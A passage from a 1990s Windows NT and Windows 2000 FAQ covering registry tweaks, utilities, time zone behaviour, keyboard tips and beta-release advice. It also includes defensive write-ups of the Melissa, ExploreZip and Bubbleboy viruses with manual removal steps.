  1. To copy the files you will need to use the SCOPY utility that is supplied with the resource kit to keep the current permission/audit settings
    SCOPY <current>:\<dir> <new>:\<dir> /o /a /s
  2. On the machine that currently hosts the shares, start the registry editor (regedt32.exe, not regedit.exe)
  3. Move to the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
  4. Click on Shares, and select Save Key from the Registry Menu
  5. Enter the name of a file, e.g. shares.reg and click OK
  6. Copy this file to the target machine
  7. Again start the registry editor (regedt32.exe) and move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares and select Shares.
  8. From the Registry menu, select Restore and select the file you saved, e.g. shares.reg and click Open
    Warning: You will lose all currently configured shares on the machine
  9. You will prompted to continue, click Yes
  10. Close the registry editor
  11. Reboot the machine and once restarted you will see the new shares


Q. How do I create a shortcut on the desktop to a directory/disk?

A. The procedure below works for and file/directory/disk (even the a: drive).

  1. Start Explorer (Start - Programs - Explorer or Win+E)
  2. Right click on the file/directory/disk and drag to the desktop
  3. Release the Right mouse button and from the menu that will be displayed, select "Create Shortcut(s) here"


Q. How can I create a spare set of Windows95 disks?

A. Microsoft distributed Windows 95 using a new method, storing 1.68 MB of data on a normal disk, this makes copying impossible using normal methods, however there is a piece of software called CopyQM which can be downloaded from http://www.sydex.com which performs an image copy and using the command below can duplicate a windows 95 installation disk

copyqm a: bios blind silent tracks=80 sides=2 convert=1.68m

You will be prompted to insert the master disk and it will then read in the information and ask you to insert the target disk.


Q. What FAX software is available for Windows NT?

A. There is an excellent site at http://www.ntfax-faq.com/ which has a full list of FAX servers for Windows NT.


Q. How can I delete files that are over x days old?

A. There is a utility called DelOld which can be download from http://www.savilltech.com and has full instructions on the web site for its use.


Q. How can I speed up the performance of my OS/2 applications?

A. Many applications written for OS/2 will run faster under a Virtual DOS Machine (VDM), this is because NT allocates more resources to a VDM than to the OS/2 subsystem. You should therefore disable the OS/2 subsystem as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. Double click on GlobalFlag and change from 0 to 20100000. Click OK to save
  4. Close the registry editor and reboot the machine


Q. How can I install a font from the command line/batch file?

A. When you install a font all it does is copy the .ttf file to the %systemroot%\fonts and add an entry in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts. This can be automated with a batch file as follows

Rem fontinst.bat
copy akbar.ttf %systemroot%\fonts
regedit /s font.reg

The font.reg would contain the following:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts]
"Akbar Plain (TrueType)"="akbar.ttf"

In this example it copies akbar.ttf which is called "Akbar Plain (TrueType)" (yes its the Simpsons font ;-) ). The reg scipt actually creates a value called "Akbar Plain (TrueType)" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts with its contents "akbar.ttf". The new font would be visable once the machine has been rebooted.

If you have some older 16bit applications you may want to add the font to win.ini as well in the [fonts] section. This could be accomplished using a .inf file, e.g.

[UpdateInis]
"E:\WINNT\WIN.INI","Fonts",,"Akbar Plain (TrueType)=akbar.ttf"


Q. Information about Time Zones and daylight saving.

A. The following is some useful notes.

User crosses various timezones; uses Control Panel to change the timezone upon arrival.

Windows 95 - System will alter the offset from UTC. System clock is unchanged. Displayed time will NOT be changed.
Windows NT - System will alter the offset from UTC. System clock is unchanged. Displayed date/time WILL change.

Daylight Saving and the "Automatically Adjust for Daylight Saving Time" checkbox

A user arrives the morning of a Daylight Savings Period transition.
If the "Automatically Adjust For Daylight Saving Time" checkbox HAS been enabled

Windows 95 - System will alter the offset from UTC. System clock will be changed. Displayed clock time will change.
Windows NT - System will alter the offset from UTC. System clock is unchanged. Displayed clock time will change.

If the "Automatically Adjust for Daylight Saving Time" checkbox has NOT been enabled

Windows 95 - System WILL alter the offset from UTC. System clock is unchanged. Displayed clock time will NOT be changed.
Windows NT - System will NOT alter the offset from UTC. System clock is unchanged. Displayed clock time will NOT be changed. If an NT user now manually alters the system clock to show the 'true' time, the UTC time is incorrect and any 'export' of time-data from this system will be incorrect.

At some time/day within a Daylight Savings Period, if the user alters the "Automatically Adjust For Daylight Saving Time"

Windows 95 - System will NOT alter the UTC offset. System clock is unchanged. Displayed clock time will NOT be changed.
Windows NT - System WILL alter the UTC offset. System clock is unchanged. Displayed clock time WILL be changed.


Q. What are the ErrorControl, Start and Type values under the Services subkeys?

A. Each of the main 3 values and their contents are described below.

ErrorControl

This is used if the service fails to startup upon boot.

Value | Meaning
0x00 | If this driver can't be loaded or started ignore the problem and display no error
0x01 | If the driver fails produce a warning but let bootup continue
0x02 | Panic. If the current config is last known good continue, if not switch to last known good
0x03 | Record the current startup as a failure. If this is last known good run diagnostic, if not switch to last known good and reboot

Start

This defines when in the boot sequence the service should be started. You can also set these by using the Services control panel applet.

Value | Start Type | Meaning
0x00 | Boot | The kernel loaded will load this driver first as its needed to use the boot volume device
0x01 | System | This is loaded by the I/O subsystem
0x02 | Autoload | The service is always loaded and run
0x03 | Manual | This service does not start automatically and must be manually started by the user
0x04 | Disabled | The service is disabled and should not be started

Type

This defines the kind of service or driver. They are loaded in the following order down the list.

Value | Meaning
0x01 | Kernel-mode device driver
0x02 | Kernel-mode device driver that implements the file system
0x04 | Information used by the Network Adapter
0x10 | A Win32 service that should be run as a stand-alone process
0x20 | A Win32 service that can share address space with other services of the same type


Q. How do I type the Euro (€) symbol?

A. If in the above question you see the Euro symbol you have either Service Pack 4 installed, the Euro hotix for Service Pack 3 or Windows 2000, if you see something else you need to install either of the aforementioned fixes or you are not using Internet Explorer. Netscape does not seem to understand the Euro symbol. Also the fix also applies to True Type fonts and not Postscript.

Once installed to type the Euro symbol just press <Ctrl + Alt + 4> at the same time.

The keys used may be different in other European countries, e.g. its <Ctrl + Alt + 5> on a Swedish keyboard (so I'm informed) or <Alt Gr + E>

For NT4 Terminal Server edition, with only service pack 3 installed one could download from Microsoft a patch name EUROFIXI.exe, This patch is included in service pack 4 for the Terminal Server Edition.

Under the Terminal Server / Citrix Environment one could use also ALT 0128 for the € sign (US keyboard layout & settings)

More information can be found at :

  • http://www.microsoft.com/typography/faq/faq12.htm
  • http://www.eu.microsoft.com/technet/euro/
  • http://www.eu.microsoft.com/windows/euro.asp


Q. What is the Melissa/Papa virus?

A. On Friday, 26th March 1999 a new virus called Melissa was discovered and has all ready caused major problems for many top companies including Microsoft and Intel.

The new virus is a Word macro virus which is spread via e-mail and attacks users of Microsoft Word 97 and Microsoft Word 2000.

If you receive an e-mail with the subject line "Important message from ... ," it may indicate you have been sent the virus. If that message comes with a Word document attached called "list.doc," (but it's not always called that) you've likely been sent the Word/Melissa macro virus. If you open the document, it will send copies of itself to 50 e-mail addresses it gleans from your personal e-mail. The most common method of infection seems to be via Outlook.

The body of the message begins "Here is that document you asked for ... don't show anyone else ;-)" with a document of pornographic Web sites named "list.doc". Once the .doc file is opened with either Word 97 or Word 2000, the virus is immediately executed if macros are enabled. It modifies the Word setting by infecting the warning template and the current open file.

In addition, if the minute of the hour matches the date (for example, 3:31 p.m. on 31st March), Melissa will insert a Bart Simpson quote into the current document:

"Twenty-two points, plus triple-word score, plus fifty points for using all my letters. Game's over. I'm outta here"

A new strain of the Melissa virus has already been reported (30/03/1999) which defeats the current Melissa anti-virus measures and the subject line is now blank and this variant is known as W97M_MELISSA.A. Check your anti-virus vendors website for an updated fix.

The source for Melissa can be seen here.

A second virus has been reported called Papa which behaves in the same way but sends mail to the first 60 names in your Outlook address book and affects Excel instead of Word.

This time the subject line claims the message is from "all.net and Fred Cohen." The body of the e-mail, which contains an attached document titled "path.xls," then instructs the user not to disable the macros, which is how the virus is activated.

A new breed of viruses now allow a virus to be activated by just opening a mail message, however normally you have to open an attachment so warnings about virus's by opening a mail message were hoax's and there have been a large number of these circulating recently (pre November 1999).

This could change in the near future with the integration of mail with HTML and ActiveX components.You just need one Trojan enhancement (most are client side ActiveX DLLs) and then even opening an HTML e-mail could be dangerous.

In order to prevent Macro virus's attacking office make sure make sure macro virus protection is turned on:

In Word 97 and Excel 97

  1. On the Tools menu, click Options.
  2. On the General tab, check Macro Virus Protection.

In Word 2000 and Excel 2000

  1. Double-click on the Tools menu, point to Macro and then choose Security.
  2. Select the level of security you want. High security will allow only macros that have been signed to open. Unsigned macros will be automatically disabled. Medium security always brings up the macro dialog protection box that allows you to disable macros if you are unsure of the macros.


Q. How can I show the context menu without the right mouse button?

A. Pressing Shift-F10 will bring up the context menu for any selected item. Just pressing F10 shifts the cursor focus to the first menu item (normally File).


Q. How can I check if a Virus warning is real or a hoax?

A. More and more warnings are being sent to people from ill-informed people trying to help regarding viruses which don't actually exist. The originators of these messages just try to see how many people it can be distributed to and cause panic.

Some of the best known hoaxes include:

  • The "Returned Mail" virus, which essentially tells you not to read any e-mail that was returned because the mailing system was "Unable to deliver" it. (If you can't read it, you may never find out why it wasn't delivered!) In fact, viruses can't be communicated very well with e-mail (except in certain file attachments).
  • The "Penpal Greetings" virus
  • The "Good Times" virus, one of the oldest
  • Budweiser Screen Saver (obviously started by someone who likes Beck's)

A number of sources exist that list these hoaxes so if you receive a message always check before forwarding to others (as you just make it worse). If you find it is a hoax message reply to the sender informing them of the fact to avoid future distribution.

  • http://www.nai.com/asp_set/anti_virus/library/hoaxes.asp
  • http://vil.mcafee.com/villib/hoax.asp
  • http://www.europe.datafellows.com/news/hoax.htm
  • http://www.av.ibm.com/BreakingNews/HypeAlert/
  • http://www.irisav.com/lab/hoax.htm
  • http://www.icsa.net/services/consortia/anti-virus/alerthoax.shtml
  • http://www.kumite.com/myths/myths/#a2z
  • http://www.uk.sophos.com/virusinfo/scares/
  • http://www.stiller.com/hoaxes.htm
  • http://www.symantec.com/avcenter/hoax.html
  • http://afcert.kelly.af.mil/hoaxes.html
  • http://ciac.llnl.gov/ciac/CIACHoaxes.html
  • http://www.cybec.com.au/html/vvcc/anti-virus/hoaxes/index.html


Q. What DO those smileys mean :-)?

A. In newsgroups and other online media you will often see smileys which are used to portray various moods of the author. Below are the meanings of them:

:-|| | Angry
:-) | Basic happy
:-( | Basic sad
(:-) | Bald
:-)> | Bearded
%+( | Beaten up
R^) | Broken glasses
:^) | Broken nose
|:-) | Bushy eyebrows
X-) | Cross-eyed
:-e | Disappointed
:-)' | Drooling
{:V | Duck
>:-) | Evil grin
:'''-( | Floods of tears
8) | Frog
8:) | Gorilla
:-') | Gas a cold
:-| | Hmmmph!
:-C | Jaw hitting the floor
.-) | Keeping an eye out
:-# | Kiss
:+) | Large nose
:-D | Laughing out loud
:-} | Leering
(-: | Left-handed
:-9 | Licking lips
:- | | Monkey
(-) | Needs haircut
:8) | Pig
=:-) | Punk
O:-) | Saint
:-@ | Screaming
:-O | Shocked
:-V | Shouting
|-) | Sleeping
:-p | Tongue-in-cheek
:-&t | Tongue-tied
:-/ | Undecided
:-[ | Vampire
:-)) | Very happy
:-(( | Very sad
:-(#) | Wears teeth braces
;-) | Winking
|-O | Yawning


Q. What DO those acronyms mean in mail messages <NIFOC> <HHOJ>?

A. In newsgroups and other online media you will often see acronyms which can be puzzling, lets remove the mystery:

AFAIK | As Far As I Know | NRN | No Reply Necessary
BRB | Be Right Back | OBTW | Oh, By The Way
BTDT | Been There Done That | OMG | Oh My God
BTW | By The Way | OTOH | On The Other Hand
GAL | Get A Life | OTT | Over The Top
HHOJ | Ha Ha, Only Joking | PITA | Pain In The Arse
MOTOS | Member Of The Opposite Sex | POD | Piece Of Data
IMHO | In My Humble Opinion | ROFL | Rolls On Floor Laughing
IWBNI | It Would Be Nice If | RTFM | Read The Flipping Manual
JAM | Just A Minute | RUOK | Are You OK
NIFOC | Nude In Front Of Computer | TIA | Thanks In Advance
STFW | Search The Flipping Web |  |


Q. How do you edit the list of local and toll numbers for a dialing location?

A. If you have Microsoft Personal Fax for Windows you can edit local numbers for a dialing location using the "Dialing" tab of the "Fax" control panel applet.


Q. What is ExploreZip.worm and what should I do?

A. A new virus was discovered on 10/06/1999 with the following text in as the body:

"I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs."

The subject line is not constant as the message is a reply. The worm (named "zipped_files.exe") is attached, with a file size of 210,432 bytes. The file has a Winzip icon which is designed to fool unsuspecting users to run it as a self-extracting file. User who run this attachment will be presented with a fake error message that says

"Cannot open file: it does not appear to be a valid archive. If this file is part of a ZIP format backup set, insert the last disk of the backup set and try again. Please press F1 for help."

The virus then searches for the following files and replaces them with 0 block files:
.c
.cpp
.h
.asm
.doc
.xls
.ppt

Check you anti-virus software sites for a fix, http://www.nai.com has one. To manually repair:

  1. Remove the line run=C:\WINDOWS\SYSTEM\Explore.exe from the WIN.INI file

  2. Edit the registry (using regedit.exe or regedt32.exe) and check the value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run does not call explore.exe. If it does clear the value.

  3. Delete the file "C:\WINDOWS\SYSTEM\EXPLORE.EXE". You may need to reboot first,
    if the file is currently in use (or stop the process using task manager).

I've had first hand experience and it is VERY nasty. There are two variants are named TROJ_EXPLORE.ZIP and I-Worm.ZippedFiles.


Q. How can I move a dialog/window using just the keyboard?

A. Sometimes due to a video or other problem its useful to be able to move a dialog using the keyboard as the outside's may be off of the screen.

To move a dialog using just the keyboard:

  1. Hold down the ALT key.
  2. Press SPACEBAR.
  3. Press M (Move).
  4. A 4-headed arrow will appear. When it does, use your arrow keys to move the outline of the window.
  5. When you are happy with its position, press ENTER.


Q. How can I extract files from a CAB file?

A. The new method of packaging files is to store them in a CAB file, what is a non-proprietary format based on Lempel-Ziv compression. Both DriveSpace and DoubleSpace also used Lempel Ziv based compression algorithms.

A common way of extracting files is to use a tool such as WinZIP which supports extraction of CAB files but new to the Windows NT Resource Kit is Extract.exe (as of supplement 4) which can also extract files from a CAB file.


Q. Where is USRMGR.EXE in NT Workstation?

A. Windows NT Workstation does have a User Manager tool use for managing local machine users and groups however its not the same tool that is used on domain controllers.

The User Manager that workstations use is called MUSRMGR.EXE however you could copy over USRMGR.EXE from a domain controller to enable domain user/group management from a workstation.


Q. What are the Event Viewer login codes?

A. In the Event Log you sometimes see Login codes for certain events and their meaning is explained below:

LogonTypes:
0 and 1 are not valid.
2 = Interactive
3 = Network
4 = Batch
5 = Service
6 = Proxy


Q. What is Opportunist locking?

A. With Exclusive Oplock, if a file is opened in a non-exclusive (deny none) mode, the redirector requests an opportunistic lock of the entire file. As long as no other process has the file open, the server will grant this oplock, giving the redirector exclusive access to the specified file. This will allow the redirector to perform read-ahead, write-behind, and lock caching, as long as no other process tries to open the file.

When a second process attempts to open the file, the original owner will be asked to Break Oplock or Break to Level II Oplock. At that point, the redirector must invalidate cached data, flush writes and locks, and release the oplock, or close the file.

Opportunistic Locking level II, provides a method for granting read access to a file by more than one workstation, and these workstations can cache read data locally (read-ahead). As long as no station writes to the file, multiple stations can have the file open with level II oplock.

For more information see http://support.microsoft.com/support/kb/articles/Q129/2/02.asp has LOADS of information about tuning both the server and workstation.


Q. How can I convert a binary number to hexadecimal?

A. There are some operations in Windows NT where you need to give a value as hexadecimal rather than binary or decimal, for example setting which drives should be excluded from a users view (see 'Q. How can I hide drive x from users?')

The easiest way to convert is to use the Calculator application in Scientific mode:

  1. Start Calculator (calc.exe)
  2. From the view menu select 'Scientific'
  3. Select 'Bin' and set the data type to 'Dword' (Dword is 4 bytes (32 bits), the biggest possible in calc)
  4. Enter you binary string
  5. Select 'Hex' and your binary number is converted to Hex

Hexadecimal is base 16 and each digit can therefore be between 0 and 15 (0-9, A-F). Binary is base 2 and each digit can therefore be 0 or 1.


Q. What switches can be used with explorer.exe?

A. In 'Q. How can I configure Explorer to start with drive x: ? ' we saw how to configure explorer to start with a specific drive. Below is a table of ALL its switches:

Explorer [/n][/e][,/root,(object)][[,/select],(sub object)]
/n opens a new single-paned window.
/e opens Explorer in the standard view at the current folder.
/root,(object) opens at the specified root level.
/Select, Folder tells Explorer which folder gets the focus.
/select,(filename) tells Explorer which file gets the focus.

To Start Explorer in desktop view mode use command:

explorer /e,/root,


Q. Where are files in the Recycle bin actually stored?

A. When you delete a file and the recycle bin is enabled the file is not actually deleted but just moved to the recycle bin.

A hidden folder is creating on each volume that has the recycle bin enabled named Recycled.

Any deleted files are moved to this folder and renamed to:

D<original drive letter><number file deleted>.<original extension>

and the original full name and path stored in a mapping file Info (Info2 in Windows 98). For example the file name

D:\www.ntfaq.com\index.html would become Dd1.html (if it was the first file deleted on the partition)


Q. My recycle bin is corrupt?

A. The Info file in the Recycler folder sometimes gets corrupted and thus will shown a empty recycle bin even though there are plenty of files in the Recycler folder. Windows will automatically recreate the Info file if its missing so the easiest way to repair is to delete the Info file:

  1. Start a command prompt (cmd.exe)
  2. Move to the Recycler folder
  3. Enter the command
    attrib -h info*.*
  4. Delete the file
    del info
  5. Restart the computer

If its the actually Recycler folder that has become corrupted you may need to delete this by removing the system and hidden attributes (attrib -h -s c:\recycler) and then deleting.


Q. What is the bubbleboy virus?

A. Bubbleboy is not just another virus, its the start of a whole new strain of virus. Up till now, to receive a virus from an email you have to actually open an attachment. Bubbleboy changes this and actually infects by just opening the email or previewing in Outlook Express.

Bubbleboy requires Internet Explorer 5 and the Windows Scripting Host (which is built into Windows 98 and Windows 2000 and is an optional add-on for Windows NT 4.0) and only affects English and Spanish installations.

In MS Outlook, this worm requires that you "open" the email. It will not run if using "Preview Pane". In MS Outlook Express, the worm is activated if "Preview Pane" is used. Setting your security level to High in Internet Explorer 5.0 will stop this virus from running.

Microsoft have a patch available from http://www.microsoft.com/security/Bulletins/ms99-032.asp.

Bubble boy is actually fairly harmless, its just changes the registered user and organization and mails itself to every contact in the email address book of MS Outlook. The fear is someone will now create other versions will may delete files etc just by previewing a message!

The actual message looks like:

From: <sender>
Subject: BubbleBoy is back!

Message Body: The BubbleBoy incident, pictures and sounds

http://www.towns.com/dorms/tom/bblboy.htm


Q. What is the OEM version of NT/2000?

A. We talk about OEM versions of NT, but what is OEM?

OEM stands for Original equipment manufacturers and are basically the large computer companies like Compaq, Dell who get special versions of operating systems and applications that are potentially tailored for their machine hardware. For example special versions of NT exist for OEM's which can support more than the standard 4 processors.

OEM's have access to special tools like the OEM Preinstallation Wizard (Opkwiz.exe) for Windows 9x to help define installations, applications. I wish I had OEM status :-)


Q. How can I check DLL versions on my system?

A. Windows NT has problems with "DLL Hell" where many applications may replace core DLL's which may cause incompatibilities between applications.

Windows 2000 takes steps to elevate the problem by protecting core DLL's from being replaced but in the mean time there are a number of sites that help to track DLL versions etc:

  • File Version Information Center from Microsoft - http://support.microsoft.com/servicedesks/fileversion/default.asp?vartarget=msdn
  • Datent Files Database - http://www.datent.com/resourcedb


Q. How can I talk to a serial (COM) port from the command line/batch file?

A. NT is a model of inconsistency when it comes to redirecting stdin and stdout. You can redirect console output to a serial port easily, but receiving input from the port is a problem.

Command Line Terminal (CLT) for NT is a simple freeware utility designed to solve this issue. It can:

  • Opens a COM port using parameters you specify in an environment variable
  • Prints a message saying the port is open, or terminates with an error
  • Sends whatever you type at the console to the COM port
  • Prints whatever comes back from the COM port on the console
  • Exits if you hit <esc>

Download CLT.ZIP (32KB) from http://www.ntfaq.com/ntfaq/download/clt.zip.


Q. What is new in Windows 2000?

A. Windows 2000 is the next major release of NT. It is expected to include the following new features:

  • New X.500-style directory services called Active Directory. In the active Directory, domain controllers store the entire directory database for their domain. This directory information can be structured to create a hierarchical directory system.
  • Active Directory uses DNS as a locator service and supports LDAP queries.
  • Distributed File System. DFS, which was an add-on for NT4, enables multiple volumes on different machines (even not Windows NT!) to appear as a single logical volume.
  • Support for more than one monitor using new API commands (note that not all video cards are supported).
  • Kerberos-style security, which is a MIT developed security protocol and is used for distributed security within a domain tree and is based on passwords and private-key encryption.
    Its not pure Kerberos as it implements a 'data authorization field' which is normally left blank but Microsoft are using it but not documenting its proprietary use of the field making its Kerberos implementation incompatible with other implementations.
  • Support for Plug and Play based on ACPI.
  • Common device driver model, so new drivers can work on both Windows NT and Windows 98.
  • Built in Disk Quota software - per user/per volume only.
  • Encrypting File System - file encryption on a per file or per folder basis (like compression at present)


Q. Where can I get more information on Windows 2000?

A. Below is a list of useful links at Microsoft

  • Windows 2000 Main Page http://www.microsoft.com/windows2000/guide/server/overview/default.asp
  • Windows 2000 Beta page http://ntbeta.microsoft.com/


Q. How do I get the Microsoft Windows NT 5.0 Beta?

Q. How do I get the Microsoft Windows 2000 Beta?

A. Windows 2000 is currently in beta test. The technical beta program is closed and is not accepting additional requests at this time. The Windows 2000 beta is not generally available at present for free. If you want this beta, there are five approaches you can consider taking:-

  1. Send email to betareq@microsoft.com The Technical beta is closed, and email to this account is unlikely to get you onto the beta. If you do send email, remember you need to justify why MS should send you the beta. Given that the Technical Beta is closed, this approach is unlikely to get you a beta copy.
  2. Take out a subscription to MSDN (Microsoft Developers Network) Professional or Universal levels. MSDN Subscriptions offer comprehensive, timely, and convenient access to Microsoft Visual Tools, essential technical programming information, Microsoft operating systems, software development kits (SDKs), device driver kits (DDKs), Microsoft Office, BackOffice Test Platform, etc. See http://www.microsoft.com/msdn/join/subscriptions.htm for more details including pricing.
  3. Microsoft has said that there will be a wider consumer preview of Windows 2000 now that Beta 3 has shipped. http://www.microsoft.com/windows/preview/
  4. Take the Microsoft Official Curriculum course 1264, NT 5.0 First Look.
  5. Purchase Technet Plus which includes beta products.
  6. Order the Hardware evaluation Kit. For more details on this, see http://www.microsoft.com/hwtest/hctcd/


Q. What is Windows 2000?

A. Microsoft have renamed NT 5.0 to Windows 2000 in an attempt to simplify the product lines. Below is an extract from the Microsoft press release:

Four products to make up initial Windows 2000 offerings, all "Built on NT Technology".

The company has decided to rename the next release of the Windows NT® line of operating systems—formerly known as Windows NT 5.0—as Windows 2000. Now that millions of people use the Windows NT operating systems every day, Microsoft has decided to rename its next releases to reflect their shift into the mainstream market and to help customers understand the products. All currently released operating systems will retain their names.

The company has also expanded the Windows server line to meet customer demand for solutions that are more powerful than Windows NT Server Enterprise Edition and for lower cost clustering alternatives for branch-office servers.

"Windows NT was first released five years ago as a specialized operating system for technical and business needs. Today it has proven its value as the preferred technology for all users who want industry-leading cost-effectiveness, rich security features and demonstrated scalability," said Jim Allchin, senior vice president at Microsoft. "The Windows NT kernel will be the basis for all of Microsoft's PC operating systems from consumer products to the highest-performance servers."

Windows 2000 Professional The Windows 2000 line, which Microsoft will begin to roll out in 1999, will include four products. Windows 2000 Professional is a desktop operating system aimed at businesses of all sizes. Microsoft designed Windows 2000 Professional as the easiest Windows yet, with high-level security and significant enhancements for mobile users. The operating system is also designed to provide industrial-strength reliability and help companies lower their total cost of ownership with improved manageability.

Microsoft offers the Windows 2000 Server as the ideal solution for small- to medium-sized enterprise application deployments, web servers, workgroups and branch offices. Windows 2000 Server will support new systems with up to two-way SMP; existing Windows NT Server 4.0 systems with up to four-way SMP can be upgraded to this product.

Windows 2000 Advanced Server is a more powerful departmental and application server that provides network operating system and Internet services. Supporting new systems with up to four-way SMP and large physical memories, this product is ideal for database-intensive work. In addition, Windows 2000 Server integrates clustering and load-balancing support to provide excellent system and application availability. Organizations with existing Windows NT 4.0 Enterprise Edition servers with up to eight-way SMP can install this product.

Windows 2000 Data Server The Windows 2000 line will also include the new Windows 2000 Datacenter Server, which is the most powerful server operating system ever offered by Microsoft. Windows 2000 Datacenter Server supports up to 16-way SMP and up to 64GB of physical memory, depending on system architecture. Like Windows 2000 Advanced Server, it provides both clustering and load balancing services as standard features. Microsoft designed this product especially for large data warehouses, econometric analysis, large-scale simulations in science and engineering, online transaction processing and server-consolidation projects.

Microsoft believes its new Windows 2000 name will help both its partners and customers. "The new name also serves our goal of making it simpler for customers to choose the right Windows products for their needs," said Brad Chase, vice president at Microsoft. "The new naming system eliminates customer confusion about whether 'NT' refers to client or server technology. Also, with our across-the-board improvements in ease of use, mobile support and total cost of ownership that provide benefits to so many users, 'NT' technology is no longer just for high-end workstations." Microsoft will use the tagline "Built on NT Technology" to help its customers through the naming transition.

The company believes that the Windows 2000 name and NT tagline will help people to identify which operating system will work best in their environment. And—as the name implies—Windows 2000 is ready for the next millennium.


Q. Getting the most out of NT 5.0 beta 2.

A. Windows NT Expert Thomas Lee has submitted these tips for getting the most out of NT 5.0 Beta 2.0. Dated 04/11/1998

Now that NT5 Beta 5 Beta 2 Workstation and Server have been in the field for some time, some experience in these releases has been gained. In these public newsgroups, we often see issues being repeated since later users have not seen the related posts.

To help in assisting new users, I've complied what I modestly called:

THOMAS'S TOP 10 FAQ TIPS FOR NT5 BETA 2

I've written both specific answers to the these noted problems, plus some general tips on how to get the most out of NT5 B2.

I can't get DHCP to work.

Two things to check: first that the DHCP server has been authorised and second that the subnet has been activated, To find out more about setting up a DHCP server, refer to the Walkthroughs.

In general, read the walkthroughs for all the functions before asking more questions in the newsgroups. But if you are unclear, certainly post!

CDR is broken in B2

This is a known issue. But please file a bug report on your details, especially including your exact hardware configuration.

In general, try to read the older messages - the last couple of weeks or so to see if the issue has come up. A lot of issues are repeated, and repeated, suggesting, to some, that newsgroups are write only.

So how do I create a domain - there was nothing in the setup about that!

In Windows 2000, the creation of a domain controller is not done during the installation of the OS. With Win2k, you install the OS first then you create a Domain Controller by DCPROMO.EXE either from the command prompt of from Start/Run. Prior to running DCPROMO.EXE, you must install and setup a DNS service. For more details on setting up a DC, see advsetup.txt on the CD.

In general, please read all the files in the root of the CD before asking further questions in the newsgroup please! [J.S. There is also an example in the FAQ Q. How do I promote a server to a domain controller?]

Beta 2 is does not support my <pick your hardware device>

First, check the HCL in \support\hcl.txt to see if this card is supported. If it is and it does not work, try the standard tricks: take card out, see what works. Check the IRQs, etc. IF all else fails, file a bug report.

If your device in NOT on the HCL, file a bug report explaining the details of your system, the precise way the card fails (BSOD, installs but fails, reduced functionality). Also try Win98 drivers if you can find them. Finally file a bug report.

In general, the HCL is your friend. Please consider consulting it prior to asking questions on the newsgroups. Also, Help is your other friend - check Help for configuration questions.

The Find dialog is broken.

The find/search dialog does work, it's just not user friendly. This is a bug, and is "fixed in later builds" - a common reply to bugs submitted regarding this dialog!

But file searching can be significantly improved by use if the index server. This does devour a lot of disk resources initially ( it content indexes your entire disk setup).

Once it has completed the first pass (which can take hours depending how much disk space you have and hot much horsepower your system has. Initial indexing is an ideal task to kick off at night, and come back to seeing complete in the morning. Once installed, it's efficient, and is very useful for searching. Development staff, developing HTML, Office documents, C Code, etc., will love the ability to search for specific strings in the myriad of .cpp, .htm, .shh, .asp files, etc! Check it out.

In general, for certain users, Index server is a real pal.

I can't work out how to do something in NT5 B2.

Try looking in the help. The server help, especially, has a lot of really great background information. Help is massively different, and better, in Windows 2000 than in NT4! The Help text include documentation on how to carry out most basic configuration tasks, back ground concepts (and much of it well written), and places to go for more information (e.g. web sites, books, RFCs, etc). Take a look - Help has gotten a whole lot better.

In general, Help is a friend.

Why is this wise guy always asking me to read the documentation?

Simple, really. A number of procedures will be new, and the details of these are documented. Secondly, the release notes document known issues, work arounds, etc.

Windows 2000 is a lot different from NT4. I'd like to find the 'This sure isn't Kansas any more Toto' quote from the Wizard of oz as the start-up sound. MS are aware and really have tried to document the key points. The walkthroughs make a great self paced self study tour of Windows 2000 - enjoy the ride.

In general: the product documentation is your friend.

Why that guy always saying 'file a bug report'

Why IS that guy always telling me to file a bug report??? Well, to put it bluntly: The product shipped as NT5 B2 is in beta test. It is not a final product. There are most likely thousands of bugs still remaining ranging from serious show stoppers to trivial things that simply will never get fixed (e.g. the titles on a dialog box). That is not abnormal for such a large product this far from shipping.

Win2000 is simply NOT ready go to ship today - MS need to find, and resolve, these bugs. If you find something wrong, it may just be simple user error but it may well be a bug. So if you think it's broken, tell MS.

You, as future users, can influence and have helped to shape the product as it evolves. MS has listened to the feedback and are incorporating it. With the NT team embark on the death march to Beta 3, if you don't tell MS, you may well have to live with the consequences - and condemn others.

MS have made it clear that Windows 2000 will not ship before it's ready. They have said they will ship when customers tell them it's ready. You are the customer - tell MS what you've found out and what you think.

In general: Make a difference. File a GOOD bug report.

OK, Cool, so how do I do it.

If you are on an internal beta, you will know how to do this - it was on the release notes accompanying your CD (and in email). Please follow directions, and discuss the issue on the internal newsgroups. Please read those groups.

If you are not on the technical beta, then go to ntbeta.microsoft.com. Fill in a short survey, and give them your email alias. You will then get a userid and password to enter the site. Go back, and with your password, you can drill down to a web tool to file a bug report. Spend a bit of time, if you can, to look at the site for more details on bug reporting. Oh, and the ntbeta.microsoft.com has not been renamed. Yet.

In general: The ntbeta.microsoft.com site is your friend.

How much do I need to tell MS about a bug. How good is good?

To some degree, the more you can provide, the better. Filing good bug reports means report as much as possible, including all your hardware, the exact nature of problem, and if possible precise steps to reproduce it.

In general, If MS can't reproduce it - it's not a bug.

Written by that guy who is always asking folks to read the documentation, use Help, and file good bug reports.

And for the humour impaired: this entire post is classified ":-) "


Q. What hardware is needed to run Windows 2000?

A. Below is a list of the minimum hardware needed to install Windows 2000.

  • 32-bit, Intel-based microprocessor computer (such as Pentium-compatible 166 MHz or higher) for both Windows NT Workstation and Windows NT Server.
  • VGA or higher resolution monitor
  • Keyboard
  • 32 MB of RAM minimum (Windows NT Server: 64 MB of RAM)
  • Hard disk space with a minimum of 300 MB of free disk space for Windows NT Workstation. (Server: a minimum of 400MB of free disk space on the partition that will contain the Windows NT system files). Several factors affect free disk space required by Windows NT 5.0 Setup, including disk cluster size, amount of RAM in the system, and the file system used (For example, NTFS uses a smaller disk cluster size than FAT file systems) and network compared to local installations (which requires less free space). Setup determines if you have sufficient disk space to successfully complete the installation with the optional components you have selected.
